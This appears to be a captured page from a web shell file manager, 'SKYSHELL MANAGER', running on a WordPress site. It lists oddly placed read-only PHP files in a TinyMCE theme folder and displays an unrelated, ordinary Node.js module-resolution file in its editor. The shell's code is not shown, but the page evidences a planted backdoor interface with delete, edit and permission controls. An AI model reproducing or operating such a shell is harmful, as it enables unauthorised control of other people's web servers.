📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: follow.js
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.follow = exports.natives = void 0; // eslint-disable-next-line @typescript-eslint/ban-ts-comment // @ts-ignore const resolve_1 = require("resolve"); const assert_1 = __importDefault(require("assert")); const fs_1 = __importDefault(require("fs")); const path_1 = __importDefault(require("path")); const common_1 = require("./common"); Object.keys(resolve_1.core).forEach((key) => { // 'resolve' hardcodes the list to host's one, but i need // to be able to allow 'worker_threads' (target 12) on host 8 (0, assert_1.default)(typeof resolve_1.core[key] === 'boolean'); resolve_1.core[key] = true; }); exports.natives = resolve_1.core; const PROOF = 'a-proof-that-main-is-captured.js'; function parentDirectoriesContain(parent, directory) { let currentParent = parent; while (true) { if (currentParent === directory) { return true; } const newParent = path_1.default.dirname(currentParent); if (newParent === currentParent) { return false; } currentParent = newParent; } } function follow(x, opts) { // TODO async version return new Promise((resolve) => { resolve((0, resolve_1.sync)(x, { basedir: opts.basedir, extensions: opts.extensions, isFile: (file) => { if (opts.ignoreFile && path_1.default.join(path_1.default.dirname(opts.ignoreFile), PROOF) === file) { return true; } let stat; try { stat = fs_1.default.statSync(file); } catch (e) { const ex = e; if (ex && (ex.code === 'ENOENT' || ex.code === 'ENOTDIR')) return false; throw ex; } return stat.isFile() || stat.isFIFO(); }, isDirectory: (directory) => { if (opts.ignoreFile && parentDirectoriesContain(opts.ignoreFile, directory)) { return false; } let stat; try { stat = fs_1.default.statSync(directory); } catch (e) { const ex = e; if (ex && (ex.code === 'ENOENT' || ex.code === 'ENOTDIR')) { return false; } throw ex; } return stat.isDirectory(); }, readFileSync: (file) => { if (opts.ignoreFile && opts.ignoreFile === file) { return Buffer.from(`{"main":"${PROOF}"}`); } if (opts.readFile) { opts.readFile(file); } return fs_1.default.readFileSync(file); }, packageFilter: (config, base) => { if (opts.packageFilter) { opts.packageFilter(config, base); } return config; }, /** function to synchronously resolve a potential symlink to its real path */ // realpathSync?: (file: string) => string; realpathSync: (file) => { const file2 = (0, common_1.toNormalizedRealPath)(file); return file2; }, })); }); } exports.follow = follow; //# sourceMappingURL=follow.js.map
Save